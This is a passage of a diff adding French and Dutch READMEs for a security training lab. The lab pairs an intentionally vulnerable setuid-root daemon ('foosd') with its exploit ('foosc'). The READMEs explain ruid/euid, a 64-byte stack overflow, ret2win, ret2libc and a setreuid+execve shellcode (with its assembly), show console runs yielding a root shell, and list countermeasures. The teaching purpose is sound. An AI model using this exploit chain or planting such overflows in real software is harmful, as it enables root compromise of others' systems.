processus peut-il lire `/etc/shadow` ? écrire un fichier ? tuer un autre
|
||||||
|
processus ? — est tranché avec `euid`, donc « oui, il est root ».
|
||||||
|
|
||||||
|
`foosd` est un démon réseau. Il lie un port puis `fork()` un enfant par
|
||||||
|
connexion. Un fork *hérite* de l'euid, donc chaque enfant qui traite une
|
||||||
|
connexion est aussi root. Le débordement dans `vulnerable_handler()` de
|
||||||
|
`foosd` est donc un débordement *à l'intérieur d'un processus root*.
|
||||||
|
|
||||||
|
**Diagnostiquez-le vous-même quand le démon tourne :**
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ ./foosd ... # voyez la ligne de log qu'il affiche au démarrage
|
||||||
|
[foosd 1234] startup: ruid=1000 euid=0 -> ROOT process
|
||||||
|
```
|
||||||
|
|
||||||
|
et depuis l'exploit :
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ ./foosc -t leak
|
||||||
|
foosc: target euid=0 ruid=1000
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. Le lab en un coup d'œil
|
||||||
|
|
||||||
|
| Fichier | Rôle |
|
||||||
|
|------|------|
|
||||||
|
| `foosd.c` | Le démon volontairement vulnérable (propriétaire des bugs). Exécutez-le en *binaire setuid-root* pour la démo du shell root. |
|
||||||
|
| `foosc.c` | L'exploit. Utilise par défaut la technique de shellcode `setreuid + execve` de 32 octets. |
|
||||||
|
| `shellcode.S` | La shellcode de référence ; `make verify` la diff contre le tableau d'octets dans `foosc.c`. |
|
||||||
|
| `tests/pty_suid_test.c` | Harnesse de test. Conduit `foosc` à travers un pseudo-terminal et prouve à la fois « un shell a tourné » *et* « il était root » (`uid=0(`). |
|
||||||
|
| `Makefile` | Compilation, helpers `setuid`/`unsetuid`, matrice de test. |
|
||||||
|
| `README.md` | Ce fichier. |
|
||||||
|
|
||||||
|
> **Pourquoi un pty ?** La dernière action de l'exploit est de relayer votre
|
||||||
|
> terminal vers le shell qui tourne sur la victime. Un pipe ou un here-doc
|
||||||
|
> arrive du mauvais côté du relais ; un vrai terminal est requis.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. Démarrage rapide
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ make # compilez tout, en tant que votre utilisateur normal
|
||||||
|
$ make setuid # une fois, demande sudo : chown root + chmod u+s
|
||||||
|
$ make run # démarre foosd sur 127.0.0.1:2343
|
||||||
|
$ make test-suid # matrice complète ; shellcode + ret2win-root doivent donner root
|
||||||
|
```
|
||||||
|
|
||||||
|
Test de fumée interactif :
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ ./foosc -t shellcode
|
||||||
|
...
|
||||||
|
foosc: target euid=0 ruid=1000
|
||||||
|
foosc: shell is on the victim (root if foosd is SUID); relaying
|
||||||
|
# id
|
||||||
|
uid=0(root) gid=0(root) groups=0(root) <-- vous êtes root, sur la victime
|
||||||
|
# exit
|
||||||
|
```
|
||||||
|
|
||||||
|
Quand vous avez fini :
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ make stop
|
||||||
|
$ make unsetuid # hygiène : ne laissez jamais un binaire root SUID traîner
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. *Quand dois-je poser le bit SUID ?* — la réponse que vous avez demandée
|
||||||
|
|
||||||
|
Exactement **une fois, après la compilation, avant de démarrer le démon pour
|
||||||
|
les démos de shell root** — et uniquement sur une machine qui est à vous,
|
||||||
|
bonne à jeter et déconnectée du réseau :
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ make # compilez foosd, foosc, les tests
|
||||||
|
$ make setuid # <-- L'INSTANT. sudo chown root:root foosd && sudo chmod u+s foosd
|
||||||
|
$ make run # démarrez APRÈS avoir posé le bit
|
||||||
|
```
|
||||||
|
|
||||||
|
Deux règles plus importantes que le moment précis :
|
||||||
|
|
||||||
|
1. **Posez-le seulement quand le binaire est fini.** Si vous recompilez
|
||||||
|
(`make` / `make clean`) après avoir posé le bit, vous tombez sur un
|
||||||
|
« Permission denied » en écrivant les fichiers de sortie appartenant à root
|
||||||
|
— et si vous forcez la recompilation, la chaîne d'outils recrée le fichier
|
||||||
|
**sans** le `s` et défait silencieusement la configuration. L'ordre
|
||||||
|
canonique à chaque recompilation est donc
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ make unsetuid && make && make setuid
|
||||||
|
```
|
||||||
|
|
||||||
|
2. **Enlevez-le quand vous avez fini.** `make unsetuid`. Un binaire setuid
|
||||||
|
vivant, appartenant à root, avec un bug exploitable dans votre arborescence,
|
||||||
|
ce n'est pas un outil pédagogique, c'est un trou root avec une erreur de
|
||||||
|
compilation entre lui et rien. Sur une machine partagée ou de production :
|
||||||
|
**ne faites rien de tout cela.** Le démon refuse d'ailleurs par défaut de se
|
||||||
|
lier ailleurs qu'en loopback (voir §7).
|
||||||
|
|
||||||
|
Si vous exécutez l'exploit *sans* jamais poser le bit, rien ne casse — la
|
||||||
|
payload atterrit toujours, et vous obtenez toujours un shell. La différence
|
||||||
|
tient en un seul chiffre, et l'exploit le dit à voix haute :
|
||||||
|
|
||||||
|
```console
|
||||||
|
foosc: WARNING: the daemon is NOT running with euid 0.
|
||||||
|
The payload will still land, but the shell will be
|
||||||
|
a plain user shell, not root.
|
||||||
|
Fix: sudo make setuid
|
||||||
|
```
|
||||||
|
|
||||||
|
Le résultat « ça marche, mais pas root » fait lui-même partie du lab. Gardez-le
|
||||||
|
en tête pour la section suivante.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. Le mécanisme — et la pirouette qui rend SUID intéressant
|
||||||
|
|
||||||
|
### 5.1 Le débordement (identique à `food`)
|
||||||
|
|
||||||
|
Le handler de `foosd` donne à un `read()` 512 octets de confiance en lui
|
||||||
|
tendant un tampon de pile de 64 octets :
|
||||||
|
|
||||||
|
```c
|
||||||
|
char buf[64];
|
||||||
|
n = read(fd, buf, 512); /* <- CWE-120 : 448 octets par-dessus le bord */
|
||||||
|
```
|
||||||
|
|
||||||
|
Sur x86-64, la pile croît vers le bas. L'exploit écrit 64 octets de bourrage
|
||||||
|
pour remplir `buf`, 8 pour remplir le pointeur de trame sauvegardé et 8 de
|
||||||
|
plus pour remplacer l'**adresse de retour sauvegardée**. Quand
|
||||||
|
`vulnerable_handler` exécute `ret`, le CPU pousse la valeur de l'attaquant
|
||||||
|
dans `RIP` — une exécution de code contrôlée par l'attaquant. L'exploit trouve
|
||||||
|
la distance exacte (88 octets pour cette compilation) en analysant la sortie
|
||||||
|
de `objdump` au lieu de la hardcoder, donc le chiffre survit aux
|
||||||
|
recompilations.
|
||||||
|
|
||||||
|
### 5.2 La pirouette : le shell refuse d'être root
|
||||||
|
|
||||||
|
Voici où penser « bug SUID → spawn /bin/sh → root » irait de travers, et
|
||||||
|
pourquoi ce lab a exactement la forme qu'il a.
|
||||||
|
|
||||||
|
Quand un programme setuid-root tourne, son `ruid` est toujours l'utilisateur
|
||||||
|
qui l'a lancé, et son `euid` est root. Si le programme — ou l'attaquant — lance
|
||||||
|
maintenant un shell :
|
||||||
|
|
||||||
|
* `execve("/bin/sh")` ne change **pas** les uids ; le nouveau processus hérite
|
||||||
|
de `(ruid=1000, euid=0)`.
|
||||||
|
* bash (et dash) **vérifie exactement cet état au démarrage**. D'après le
|
||||||
|
manuel de bash : *« If the shell is started with the effective user (group)
|
||||||
|
id not equal to the real user (group) id, and the -p option is not supplied,
|
||||||
|
… the effective user id is set to the real user id. »*
|
||||||
|
|
||||||
|
Donc le shell se regarde et *lâche root* — une défense que les auteurs de
|
||||||
|
shell ont construite précisément contre cette attaque (la justification
|
||||||
|
historique était le problème des shell setuid / scripts setuid). Le résultat,
|
||||||
|
ce sont les cas « ça marche, mais pas root » :
|
||||||
|
|
||||||
|
| Technique | Ce qu'elle exécute | uid résultant |
|
||||||
|
|-----------|------------------|---------------|
|
||||||
|
| `ret2win` | `win()` de `foosd` → `execl("/bin/sh")` | **1000** — shell atterri, root réinitialisé par bash |
|
||||||
|
| `ret2libc` | `system("/bin/sh")` → `sh -c '/bin/sh'` tout frais | **1000** — même réinitialisation, un niveau plus bas |
|
||||||
|
| `ret2win-root` | `win_root()` de `foosd` → `setreuid(0,0); execl("/bin/sh")` | **0** — ruid nettoyé depuis le C |
|
||||||
|
| `shellcode` | 32 octets : `setreuid(0,0); execve("/bin/sh")` | **0** — ruid nettoyé depuis le code machine |
|
||||||
|
|
||||||
|
Celles qui atteignent root diffèrent de celles qui ne l'atteignent pas par
|
||||||
|
exactement une idée : **elles nettoient l'uid *réel*, pas seulement
|
||||||
|
l'effectif.**
|
||||||
|
|
||||||
|
```c
|
||||||
|
setuid(0) /* met euid à 0, mais ruid reste 1000 :
|
||||||
|
bash voit toujours euid != ruid et réinitialise QUAND MÊME. */
|
||||||
|
setreuid(0, 0) /* met LES DEUX : ruid = euid = 0.
|
||||||
|
bash voit des uids égaux et garde root. */
|
||||||
|
```
|
||||||
|
|
||||||
|
C'est pourquoi la shellcode `/bin/sh` classique que vous trouvez partout sur
|
||||||
|
Internet commence par un syscall de nettoyage d'uid — et c'est pourquoi la
|
||||||
|
shellcode fait ici 32 octets au lieu de 23 : les cinq premières instructions
|
||||||
|
sont
|
||||||
|
|
||||||
|
```asm
|
||||||
|
xor edi, edi ; ruid = 0
|
||||||
|
xor esi, esi ; euid = 0
|
||||||
|
push 0x71 ; 113 = __NR_setreuid
|
||||||
|
pop rax
|
||||||
|
syscall
|
||||||
|
```
|
||||||
|
|
||||||
|
### 5.3 Alors, c'est quoi l'exploit, de bout en bout ?
|
||||||
|
|
||||||
|
1. `foosc` lit le banner de `foosd` sur la socket. Il obtient :
|
||||||
|
- `ids=0/1000` — euid/ruid (l'autodiagnostic SUID)
|
||||||
|
- `stack=…` et `libc=…` — des pointeurs (les fuites ASLR)
|
||||||
|
- `BUF=…` — l'adresse exacte du tampon qu'il s'apprête à faire déborder
|
||||||
|
2. Depuis le binaire cible (via `objdump`), il apprend `rip_off` et les
|
||||||
|
adresses de `win()` / `win_root()`.
|
||||||
|
3. Depuis *sa propre* libc (via `/proc/self/maps` + `dlsym` + un scan mémoire),
|
||||||
|
il mesure les offsets de `system`, `read`, `/bin/sh` et un gadget
|
||||||
|
`pop rdi; ret` — rien n'est hardcodé.
|
||||||
|
4. Il assemble la payload. Pour `-t shellcode`, c'est :
|
||||||
|
`[code setreuid+execve de 32 octets][bourrage jusqu'à RIP][ret-fix][adresse de buf]`.
|
||||||
|
5. Le `read()` de `foosd` déborde ; le `ret` atterrit sur la shellcode ; le
|
||||||
|
noyau exécute `setreuid(0,0)` (pas de souci : euid 0 est privilégié) puis
|
||||||
|
`execve` de `/bin/sh`. bash démarre avec `ruid == euid == 0` et reste root.
|
||||||
|
6. `foosc` relaie votre terminal vers ce shell root, jusqu'à ce que vous
|
||||||
|
tapiez `exit`.
|
||||||
|
|
||||||
|
Un détail de commodité qui coûte cher à beaucoup de gens s'il est manqué :
|
||||||
|
l'exploit teste chaque comportement de nettoyage d'uid **sans** avoir besoin du
|
||||||
|
bit setuid au préalable. Lancez `make test` avant `make setuid`, et vous verrez
|
||||||
|
chaque technique atterrir un shell avec `ROOT=MISSING` ; lancez `make test-suid`
|
||||||
|
après `make setuid`, et `ROOT=SEEN` apparaît pour les deux techniques qui
|
||||||
|
nettolent l'uid réel. Ce A/B est toute la leçon, jouée en dix secondes.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. Les vieux one-liners — et pourquoi la plupart sont morts
|
||||||
|
|
||||||
|
Si vous avez lu sur SUID, vous avez lu sur les détournements de `PATH`, sur
|
||||||
|
`LD_PRELOAD` et sur les shells setuid. Les trois sont classiques, et les trois
|
||||||
|
échouent sur un système moderne contre *ce programme*. Ça vaut le coup de
|
||||||
|
savoir exactement pourquoi, parce que les raisons sont les défenses que vous
|
||||||
|
avez gratuitement :
|
||||||
|
|
||||||
|
| Classe d'attaque | Vieille affirmation | Pourquoi elle échoue sur une machine moderne |
|
||||||
|
|--------------|-----------|------------------------------|
|
||||||
|
| `LD_PRELOAD` d'une bibliothèque malveillante | « Le programme setuid charge mon `.so` et exécute mon code en tant que root. » | Le noyau marque un binaire setuid comme **AT_SECURE** ; glibc ignore alors `LD_PRELOAD`, `LD_LIBRARY_PATH`, `LD_DEBUG` et compagnie. L'environnement est traité comme *entrée non fiable*. `LD_PRELOAD` contre un binaire setuid est un no-op. |
|
||||||
|
| Détournement de `PATH` (`system("ls")` avec un PATH empoisonné) | « Pointez PATH vers un répertoire avec mon faux `ls` ; le programme root l'exécutera. » | Un autre visage de la même défense : un processus AT_SECURE reçoit un **PATH assaini** (une valeur sûre par défaut, grossièrement `/usr/local/bin:/usr/bin:/bin`) pour `system()`/`execvp`, donc le répertoire empoisonné n'est jamais consulté. |
|
||||||
|
| Injection de commande `system()` setuid | « La commande injectée s'exécute avec euid 0. » | `system()` exécute la commande dans un `/bin/sh` tout frais, et ce shell — §5.2 — réinitialise `euid = ruid` au démarrage. La commande injectée s'exécute avec l'uid *réel*. (C'est toujours un bug ; ça n'escalade juste plus via `/bin/sh`.) |
|
||||||
|
| Shell root setuid sur disque (`cp /bin/sh /tmp; chmod u+s`) | « Exécute-le, obtiens root. » | Exactement la défense ci-dessus, et c'est pourquoi les distros modernes ne livrent aucun shell root setuid. Même si vous réussissez à en fabriquer un, bash refuse de garder euid 0 sauf s'il est lancé avec `-p`. |
|
||||||
|
|
||||||
|
Ce qui reste vivant, et c'est ce lab : **le programme est *déjà* root quand il
|
||||||
|
tourne.** Vous n'avez besoin ni de l'environnement ni de `system()` ; vous avez
|
||||||
|
besoin que le programme exécute *votre* code (via un bug de corruption
|
||||||
|
mémoire) pendant qu'il est privilégié, et que votre code soit assez soigneux
|
||||||
|
pour corriger lui-même le mismatch d'uid — `setreuid(0,0)` — avant de vous
|
||||||
|
tendre un shell. Corruption mémoire + SUID est la combinaison qui finit encore
|
||||||
|
en `uid=0`, et c'est exactement pourquoi les langages sûrs en mémoire, les
|
||||||
|
canaries et les piles no-execute ne sont pas une décision de mode.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. Les garde-fous intégrés au démon
|
||||||
|
|
||||||
|
`foosd` est volontairement le *pire* morceau de logiciel de ce dépôt, alors il
|
||||||
|
porte aussi le plus de garde-fous :
|
||||||
|
|
||||||
|
1. **Loopback seulement, imposé.** `foosd` refuse toute adresse de bind hors
|
||||||
|
loopback, sauf si vous passez `-L`. Un listener setuid-root sur une vraie
|
||||||
|
interface est un service root distant ; le refus est la valeur par défaut,
|
||||||
|
pour que l'état dangereux doive être tapé délibérément.
|
||||||
|
2. **Autodiagnostic.** Au démarrage, il journalise `ruid`/`euid` et s'il
|
||||||
|
tourne en root, pour que la console montre l'état dont dépend l'exploit.
|
||||||
|
3. **Le log n'atteint jamais le client.** Le démon réserve un descripteur de
|
||||||
|
log privé avant que les sockets ne remplacent fd 1, pour que la sortie du
|
||||||
|
crash-reporter et les chemins internes ne puissent pas être relus sur le
|
||||||
|
fil par l'attaquant.
|
||||||
|
4. **Crash-reporter.** Un handler SIGSEGV journalise `RIP`/`RSP` — la valeur
|
||||||
|
que l'attaquant a écrite dans l'adresse de retour — pour qu'une prise de
|
||||||
|
contrôle réussie soit visible dans `foosd.log` au lieu d'être une mort
|
||||||
|
silencieuse.
|
||||||
|
5. **`make unsetuid`.** Retirer le bit est scripté, parce que le laisser posé
|
||||||
|
est le mode d'échec que les gens ont réellement.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 8. Contre-mesures — ce que chacune arrête et ce qu'elle *n'arrête pas*
|
||||||
|
|
||||||
|
Appliquées à `foosd` via `make hardened`, une par une ou ensemble :
|
||||||
|
|
||||||
|
| Contre-mesure | Ce qu'elle arrête | Ce qu'elle *n'arrête pas* |
|
||||||
|
|------------|---------------|-------------------------|
|
||||||
|
| `-fstack-protector-strong` (canary) | Le débordement : `ret` détecte une canary écrasée et abort avant que l'adresse de l'attaquant soit utilisée. Arrête ici **les quatre** techniques — elles partagent le même `read()` vulnérable. | Rien par *conception* : le binaire est toujours setuid-root ; un autre bug (format-string-`%n`, heap-overflow, use-after-free) n'a pas de canary à déclencher. |
|
||||||
|
| `-fPIE -pie` (ASLR pour le binaire) | L'utilisation d'adresses `win()`/`win_root()` prévisibles (les techniques ret2win). | La technique shellcode, si une adresse de pile fuite encore (ligne `BUF=`). |
|
||||||
|
| `-z noexecstack` (NX / W^X) | La shellcode : le CPU refuse de chercher des instructions sur une page data-only, donc un saut vers `buf` est un SIGSEGV. | ROP — exécuter du code qui existe déjà (`ret2libc`). |
|
||||||
|
| Les trois ensemble | Un binaire difficile à déborder, randomisé, avec une pile non exécutable. Voilà à quoi ressemble une build durcie normale. | Le bit setuid. **Un binaire SUID durci reste un binaire SUID.** S'il survit un bug mémoire atteignable, c'est toujours « bug dans un processus root ». |
|
||||||
|
|
||||||
|
La preuve console, c'est `make test-hardened`, qui échange la build durcie et
|
||||||
|
montre les techniques mourir à la canary, pendant que `foosd_hardened.log`
|
||||||
|
capture `*** stack smashing detected ***`.
|
||||||
|
|
||||||
|
Deux contre-mesures de niveau conception, qu'aucun flag de compilateur ne
|
||||||
|
fournit, et que le lab principal (`food`) utilise aussi :
|
||||||
|
|
||||||
|
- **Moindre privilège.** Un démon pour un port non privilégié (2343 > 1024)
|
||||||
|
n'a aucun besoin légitime de root. Un `foosd` correct lierait puis ferait
|
||||||
|
`setgroups`/`setgid`/`setuid` vers un compte non privilégié et *confirmerait
|
||||||
|
que ça a tenu* (la version correcte est dans la source sous le nom de
|
||||||
|
`drop_privs()`, jamais appelée — le non-appel est le bug n° 3 du lab).
|
||||||
|
- **Limitez le read.** `n = read(fd, buf, sizeof(buf) - 1)`. Une ligne correcte
|
||||||
|
surpasse tous les flags de compilateur du tableau.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 9. Le protocole filaire (pour que vous puissiez lire le démon avec netcat)
|
||||||
|
|
||||||
|
```text
|
||||||
|
FOOSD 1.0 - deliberately vulnerable SUID service
|
||||||
|
Type 'quit' to disconnect. Buffer = 64 bytes, read accepts 512.
|
||||||
|
FOOSD 1.0 ids=0/1000 leak stack=0x7ffd... libc=0x7f...
|
||||||
|
BUF=0x7ffd...
|
||||||
|
```
|
||||||
|
|
||||||
|
* `ids=euid/ruid` — ne pouvait pas être affiché comme `euid=`/`ruid=`, parce
|
||||||
|
que la harnesse de test prouve un shell en grepant le `uid=` littéral, et le
|
||||||
|
banner ne doit pas le contenir (une sonde qui partage la signature de la
|
||||||
|
réponse est un piège classique de faux positif ; voir le commentaire dans
|
||||||
|
`foosd.c`). La harnesse exige en outre la forme stricte de sortie `id` —
|
||||||
|
`uid=NNN(...)` — pour que rien de ce que le démon ou l'exploit affiche ne
|
||||||
|
puisse satisfaire le contrôle par accident : le propre « target euid=… ruid=… »
|
||||||
|
de `foosc` contient `uid=` comme sous-chaîne, ce qui a un jour fait
|
||||||
|
rapporter à un test durci un shell qui n'avait jamais tourné.
|
||||||
|
* `stack=`, `libc=`, `BUF=` — les fuites ASLR : elles permettent à la
|
||||||
|
shellcode et à ret2libc de calculer des adresses exactes.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 10. Exercices
|
||||||
|
|
||||||
|
1. **Considérez la descente non-root.** Lancez `make test` *avant* `make
|
||||||
|
setuid`, puis encore après. Expliquez le passage à `ROOT=SEEN` avec
|
||||||
|
l'histoire ruid/euid de la §5.2.
|
||||||
|
2. **Lisez le crash.** Lancez `./foosc -t demo -n` puis lisez `foosd.log`.
|
||||||
|
La ligne `RIP=0x4141414141414141` est le bourrage de l'attaquant — la
|
||||||
|
preuve que c'est le débordement, pas le hasard, qui contrôle l'exécution.
|
||||||
|
3. **Ajoutez la canary.** `make hardened` et modifiez vous-même la boucle
|
||||||
|
`test-hardened` ; la ligne de log `*** stack smashing detected ***` est la
|
||||||
|
défense qui fonctionne.
|
||||||
|
4. **Désactivez la fuite.** Commentez la ligne `BUF=` dans `foosd.c`, recompilez
|
||||||
|
et voyez `-t shellcode` passer de déterministe à jeu de devinettes. Cette
|
||||||
|
seule ligne est la raison pour laquelle les vrais bypass d'ASLR sont tout un
|
||||||
|
domaine.
|
||||||
|
5. **L'expérience `-p`.** Dans une copie de `win()`, changez `execl("/bin/sh",
|
||||||
|
"sh", NULL)` en `execl("/bin/sh", "sh", "-p", NULL)` et observez root. `-p`
|
||||||
|
est la sortie de secours documentée du gardien du shell — et la raison pour
|
||||||
|
laquelle le conseil « spawn juste un shell » des vieux write-ups est
|
||||||
|
incomplet.
|
||||||
|
6. **Pourquoi pas `setuid(0)` ?** Réécrivez la shellcode pour appeler
|
||||||
|
`setuid(0)` au lieu de `setreuid(0,0)` (syscall 105). Le shell atterrit
|
||||||
|
quand même — et retombe quand même à `uid=1000`. C'est l'expérience d'une
|
||||||
|
seule ligne la plus instructive de tout le dépôt.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 11. Sécurité et nettoyage
|
||||||
|
|
||||||
|
- Loopback uniquement, par défaut et par conception ; `-L` lie plus loin, et
|
||||||
|
seule une VM bonne à jeter devrait même l'envisager.
|
||||||
|
- C'est un lab de shell root. Ne le faites pas tourner sur une machine qui
|
||||||
|
compte, et ne pointez pas `foosc -h` vers quelque chose que vous ne possédez
|
||||||
|
pas.
|
||||||
|
- Rituel de nettoyage : `make stop` puis `make unsetuid`, et si vous voulez
|
||||||
|
l'arborescence impeccable à nouveau : `sudo make clean`.
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ make stop
|
||||||
|
$ make unsetuid
|
||||||
|
```
|
||||||
398
suid/README.NL.md
Normal file
398
suid/README.NL.md
Normal file
|
|
@ -0,0 +1,398 @@
|
||||||
|
# SUID-root-RCE-lab — `foosd` (daemon) + `foosc` (exploit)
|
||||||
|
|
||||||
|
Een begeleider van het hoofdlaboratorium (`food` / `fooc`, een gewone daemon
|
||||||
|
waar een bufferoverloop je een *gebruiker*-shell geeft). Dit voegt de
|
||||||
|
gevaarlijkste wijziging van één teken in Unix toe: **de setuid-bit**.
|
||||||
|
|
||||||
|
> `chmod u+s` verandert "de aanvaller kan code draaien op deze host" in "de
|
||||||
|
> aanvaller kan code draaien als **root** op deze host".
|
||||||
|
|
||||||
|
Die zin is het hele lab. Alles hieronder is het mechanisme eronder,
|
||||||
|
opgeschreven, zodat je wanneer je je eigen software schrijft precies weet welke
|
||||||
|
twee of drie bestandssysteem-attributen en compilerflags bepalen of een
|
||||||
|
geheugenveiligheidsbug in jouw code een ergernis of een root-shell is.
|
||||||
|
|
||||||
|
De uiteindelijke demo, wanneer `foosd` setuid-root is, is een **root-shell**
|
||||||
|
die over het netwerk wordt geopend door 32 bytes handgeschreven shellcode uit
|
||||||
|
te voeren.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Wat de setuid-bit daadwerkelijk doet
|
||||||
|
|
||||||
|
Elk proces op Linux draagt drie user-ID's, en de setuid-bit rommelt aan de
|
||||||
|
verhouding ertussen:
|
||||||
|
|
||||||
|
| ID | Naam | Betekenis |
|
||||||
|
|----|------|---------|
|
||||||
|
| `ruid` | reële user-ID | de account die het proces *startte* |
|
||||||
|
| `euid` | effectieve user-ID | wat de kernel controleert wanneer hij toegang handhaaft |
|
||||||
|
| (saved) | opgeslagen set-user-ID | een "spoor" waarnaar een bevoorrecht proces later kan terugkeren |
|
||||||
|
|
||||||
|
Een normaal programma heeft `ruid == euid`. Wanneer je een binair bestand
|
||||||
|
uitvoert met de setuid-bit gezet, eigendom van root:
|
||||||
|
|
||||||
|
```text
|
||||||
|
ruid = jij (bijv. 1000, "hanez")
|
||||||
|
euid = de eigenaar (bijv. 0, "root")
|
||||||
|
```
|
||||||
|
|
||||||
|
Het proces heeft dus **roots autoriteit**, ook al is de gebruiker die het
|
||||||
|
startte volkomen gewoon. Elke controle die de kernel uitvoert — kan dit proces
|
||||||
|
`/etc/shadow` lezen? een bestand schrijven? een ander proces doden? — wordt
|
||||||
|
beantwoord met `euid`, dus "ja, het is root".
|
||||||
|
|
||||||
|
`foosd` is een netwerkdaemon. Hij bindt een poort en `fork()`t daarna een kind
|
||||||
|
per verbinding. Een fork *erft* de euid, dus elk kind dat een verbinding
|
||||||
|
afhandelt, is ook root. De overloop in `foosd`s `vulnerable_handler()` is
|
||||||
|
daarom een overloop *binnenin een root-proces*.
|
||||||
|
|
||||||
|
**Diagnosticeer het zelf wanneer de daemon draait:**
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ ./foosd ... # zie de logregel die hij bij de start print
|
||||||
|
[foosd 1234] startup: ruid=1000 euid=0 -> ROOT process
|
||||||
|
```
|
||||||
|
|
||||||
|
en vanuit het exploit:
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ ./foosc -t leak
|
||||||
|
foosc: target euid=0 ruid=1000
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. Het lab in één oogopslag
|
||||||
|
|
||||||
|
| Bestand | Rol |
|
||||||
|
|------|------|
|
||||||
|
| `foosd.c` | De bewust kwetsbare daemon (eigenaar van de bugs). Draai als *setuid-root*-binary voor de root-shell-demo. |
|
||||||
|
| `foosc.c` | Het exploit. Gebruikt standaard de 32-byte `setreuid + execve`-shellcodetechniek. |
|
||||||
|
| `shellcode.S` | De referentie-shellcode; `make verify` diff't het tegen de byte-array in `foosc.c`. |
|
||||||
|
| `tests/pty_suid_test.c` | Test-harness. Drijft `foosc` door een pseudo-terminal en bewijst zowel "er draaide een shell" *als* "die was root" (`uid=0(`). |
|
||||||
|
| `Makefile` | Build, `setuid`/`unsetuid`-helpers, testmatrix. |
|
||||||
|
| `README.md` | Dit bestand. |
|
||||||
|
|
||||||
|
> **Waarom een pty?** De laatste actie van het exploit is je terminal
|
||||||
|
> doorschakelen naar de shell die op het slachtoffer draait. Een pipe of
|
||||||
|
> here-doc komt aan de verkeerde kant van die doorschakeling terecht; een echte
|
||||||
|
> terminal is vereist.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. Snelle start
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ make # bouw alles, als je normale gebruiker
|
||||||
|
$ make setuid # één keer, vraagt om sudo: chown root + chmod u+s
|
||||||
|
$ make run # start foosd op 127.0.0.1:2343
|
||||||
|
$ make test-suid # volledige matrix; shellcode + ret2win-root moeten root geven
|
||||||
|
```
|
||||||
|
|
||||||
|
Interactieve rooktest:
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ ./foosc -t shellcode
|
||||||
|
...
|
||||||
|
foosc: target euid=0 ruid=1000
|
||||||
|
foosc: shell is on the victim (root if foosd is SUID); relaying
|
||||||
|
# id
|
||||||
|
uid=0(root) gid=0(root) groups=0(root) <-- je bent root, op het slachtoffer
|
||||||
|
# exit
|
||||||
|
```
|
||||||
|
|
||||||
|
Wanneer je klaar bent:
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ make stop
|
||||||
|
$ make unsetuid # hygiëne: laat nooit een root-SUID-binary achter
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. *Wanneer moet ik de SUID-bit zetten?* — het antwoord dat je vroeg
|
||||||
|
|
||||||
|
Precies **één keer, na het bouwen, vóór je de daemon start voor de
|
||||||
|
root-shell-demo's** — en alleen op een machine die van jou is, geschikt om weg
|
||||||
|
te gooien en losgekoppeld van het netwerk:
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ make # compileer foosd, foosc, tests
|
||||||
|
$ make setuid # <-- HET MOMENT. sudo chown root:root foosd && sudo chmod u+s foosd
|
||||||
|
$ make run # start NÁ het zetten van de bit
|
||||||
|
```
|
||||||
|
|
||||||
|
Twee regels die belangrijker zijn dan het precieze tijdstip:
|
||||||
|
|
||||||
|
1. **Zet hem alleen als de binary klaar is.** Als je herbouwt (`make` /
|
||||||
|
`make clean`) nadat je de bit hebt gezet, krijg je een "Permission denied"
|
||||||
|
bij het schrijven van root-bezeten outputbestanden — en als je de herbouw
|
||||||
|
forceert, herschept de toolchain het bestand **zonder** de `s` en maak je de
|
||||||
|
opzet stilletjes ongedaan. De canonieke volgorde bij elke herbouw is daarom
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ make unsetuid && make && make setuid
|
||||||
|
```
|
||||||
|
|
||||||
|
2. **Haal hem weg als je klaar bent.** `make unsetuid`. Een levende,
|
||||||
|
root-bezeten setuid-binary met een exploiteerbare bug in je boom is geen
|
||||||
|
leermiddel, het is een root-gat met een compilerfout tussen zichzelf en
|
||||||
|
niets. Op een gedeelde of productiemachine: **doe niets van dit alles.** De
|
||||||
|
daemon weigert bovendien standaard iets anders dan loopback te binden (zie
|
||||||
|
§7).
|
||||||
|
|
||||||
|
Als je het exploit *zonder* ooit de bit te zetten draait, gaat er niets
|
||||||
|
kapot — de payload landt nog steeds, en je krijgt nog steeds een shell. Het
|
||||||
|
verschil zit in één getal, en het exploit zegt het hardop:
|
||||||
|
|
||||||
|
```console
|
||||||
|
foosc: WARNING: the daemon is NOT running with euid 0.
|
||||||
|
The payload will still land, but the shell will be
|
||||||
|
a plain user shell, not root.
|
||||||
|
Fix: sudo make setuid
|
||||||
|
```
|
||||||
|
|
||||||
|
Het "werkte, maar niet root"-resultaat is zelf onderdeel van het lab. Onthoud
|
||||||
|
dat voor de volgende sectie.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. Het mechanisme — en de twist die SUID interessant maakt
|
||||||
|
|
||||||
|
### 5.1 De overloop (identiek aan `food`)
|
||||||
|
|
||||||
|
